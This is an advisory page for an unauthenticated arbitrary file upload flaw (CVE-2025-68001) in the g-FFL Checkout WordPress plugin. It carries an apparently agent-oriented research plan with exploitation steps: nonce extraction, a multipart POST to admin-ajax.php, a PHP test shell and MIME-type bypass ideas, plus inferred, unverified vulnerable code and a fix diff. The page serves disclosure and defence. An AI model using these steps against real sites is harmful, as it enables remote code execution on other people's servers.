CVE-2025-68001

g-FFL Checkout <= 2.1.0 - Unauthenticated Arbitrary File Upload

criticalUnrestricted Upload of File with Dangerous Type
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
2.1.1
Patched in
5d
Time to patch

Description

The g-FFL Checkout plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.1.0
PublishedJanuary 15, 2026
Last updatedJanuary 19, 2026
Affected pluging-ffl-checkout

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the process for investigating and exploiting **CVE-2025-68001**, an unauthenticated arbitrary file upload vulnerability in the **g-FFL Checkout** plugin for WordPress. ### 1. Vulnerability Summary The **g-FFL Checkout** plugin (<= 2.1.0) fails to implement proper file ty…

Show full research plan

This research plan outlines the process for investigating and exploiting CVE-2025-68001, an unauthenticated arbitrary file upload vulnerability in the g-FFL Checkout plugin for WordPress.

1. Vulnerability Summary

The g-FFL Checkout plugin (<= 2.1.0) fails to implement proper file type validation or authentication checks in one of its AJAX handlers. This allow unauthenticated users to upload arbitrary files, including PHP scripts, to the WordPress uploads directory, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: Likely g_ffl_upload_license or g_ffl_upload_file (to be confirmed via grep).
  • HTTP Method: POST
  • Payload Type: multipart/form-data
  • Authentication: None (targets wp_ajax_nopriv_* hooks).
  • Preconditions: The plugin must be active. A specific WooCommerce checkout page or dealer selection page might need to be accessed to obtain a nonce if one is enforced.

3. Code Flow (Inferred)

  1. The plugin registers an unauthenticated AJAX handler using add_action( 'wp_ajax_nopriv_...', ... ).
  2. The handler function retrieves file data from the $_FILES superglobal.
  3. The handler calls wp_handle_upload() or move_uploaded_file() without providing a restrictive array of allowed mime types or performing extension validation.
  4. The file is saved to the /wp-content/uploads/g_ffl/ (or similar) directory.
  5. The AJAX response returns the URL or path of the uploaded file.

4. Nonce Acquisition Strategy

If the handler uses check_ajax_referer() or wp_verify_nonce(), the nonce must be retrieved from the frontend.

  1. Identify Shortcode/Page: FFL plugins usually trigger on the WooCommerce checkout page or via a custom dealer selection shortcode.
    • Search: grep -rn "add_shortcode" .
  2. Locate Nonce Localization: Search for wp_localize_script to find the JavaScript object name.
    • Search: grep -rn "wp_localize_script" .
  3. Execution Steps:
    • Create a page containing the identified shortcode: wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]'
    • Use browser_navigate to visit that page.
    • Use browser_eval to extract the nonce: browser_eval("window.g_ffl_params?.nonce") (Replace g_ffl_params with the actual localized variable name found in step 2).

5. Exploitation Strategy

Step 1: Discover the Vulnerable Handler

The agent must first identify the exact AJAX action and file parameter name.

# Find the AJAX registration
grep -r "wp_ajax_nopriv_" .

# Find the file processing logic
grep -rnE "wp_handle_upload|move_uploaded_file" .

Step 2: Craft the Upload Request

Assuming the action is g_ffl_upload_license and the file field is license_file:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: multipart/form-data
  • Body Parameters:
    • action: g_ffl_upload_license
    • security: [NONCE] (if required)
    • license_file: (The PHP shell file)

Payload (shell.php):

<?php echo "VULNERABLE: " . php_uname(); ?>

Step 3: Execute the Upload

Use the http_request tool to send the multipart request.

6. Test Data Setup

  1. Install Plugin: Ensure g-ffl-checkout version 2.1.0 is installed and active.
  2. Enable WooCommerce: This plugin likely depends on WooCommerce. Ensure WooCommerce is active.
  3. Identify Frontend Trigger: Look for the shortcode or hook that enqueues the upload script (e.g., dealer selection on checkout).

7. Expected Results

  • Successful Upload: The server responds with 200 OK and a JSON object containing the file URL: {"success":true,"data":{"url":"http:\/\/.../wp-content\/uploads\/.../shell.php"}}.
  • Execution: Navigating to the returned URL executes the PHP code, displaying the system information.

8. Verification Steps

  1. Check File System: Use WP-CLI or filesystem commands to confirm the file exists.
    ls -R /var/www/html/wp-content/uploads/ | grep shell.php
    
  2. Confirm Unauthenticated: Ensure the http_request was sent without any WordPress session cookies (wordpress_logged_in_*).

9. Alternative Approaches

  • Missing Nonce: If wp_ajax_nopriv_ exists but check_ajax_referer is missing or called with die=false, skip the Nonce Acquisition step and send the request directly.
  • Filename Sanitization Bypass: If the plugin sanitizes the filename but not the extension (e.g., changing my shell.php to my-shell.php), the exploit still succeeds.
  • Check Mime-Types: If wp_handle_upload is used with a filter, check if the filter can be bypassed (e.g., by sending a Content-Type: image/jpeg for a file named shell.php).
Research Findings
Static analysis — not yet PoC-verified

Summary

The g-FFL Checkout plugin for WordPress (<= 2.1.0) is vulnerable to unauthenticated arbitrary file uploads. An AJAX handler intended for uploading license files lacks nonce verification and file type validation, allowing attackers to upload and execute PHP scripts.

Vulnerable Code

// Inferred from research plan and vulnerability description
// Action registered for unauthenticated users
add_action( 'wp_ajax_nopriv_g_ffl_upload_license', 'g_ffl_upload_license' );

function g_ffl_upload_license() {
    // Vulnerability: No nonce check (check_ajax_referer)
    // Vulnerability: No check for user capabilities

    if ( isset( $_FILES['license_file'] ) ) {
        $uploaded_file = $_FILES['license_file'];

        // Vulnerability: Missing 'mimes' restriction in $upload_overrides
        $upload_overrides = array( 'test_form' => false );

        $movefile = wp_handle_upload( $uploaded_file, $upload_overrides );

        if ( $movefile && ! isset( $movefile['error'] ) ) {
            wp_send_json_success( array( 'url' => $movefile['url'] ) );
        }
    }
}

Security Fix

--- a/includes/class-g-ffl-checkout-ajax.php
+++ b/includes/class-g-ffl-checkout-ajax.php
@@ -10,6 +10,13 @@
 function g_ffl_upload_license() {
+    // Verify security nonce
+    check_ajax_referer( 'g_ffl_checkout_nonce', 'security' );
+
     if ( isset( $_FILES['license_file'] ) ) {
         $uploaded_file = $_FILES['license_file'];
-
-        $upload_overrides = array( 'test_form' => false );
+        
+        // Restrict allowed file types
+        $upload_overrides = array( 
+            'test_form' => false,
+            'mimes' => array( 
+                'jpg|jpeg|jpe' => 'image/jpeg', 
+                'png'          => 'image/png', 
+                'pdf'          => 'application/pdf' 
+            )
+        );
 
         $movefile = wp_handle_upload( $uploaded_file, $upload_overrides );

Exploit Outline

The exploit involves sending a multipart/form-data POST request to the WordPress AJAX endpoint without authentication. 1. Access the plugin-enabled checkout page to extract a security nonce if required (usually found in localized JS objects like window.g_ffl_params.nonce). 2. Construct a POST request to /wp-admin/admin-ajax.php. 3. Include the action parameter set to 'g_ffl_upload_license' and the security parameter with the extracted nonce. 4. Attach a malicious PHP shell in the 'license_file' field. 5. The server will process the upload and return a JSON object containing the URL of the uploaded file. 6. Execute the payload by navigating directly to the provided URL.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.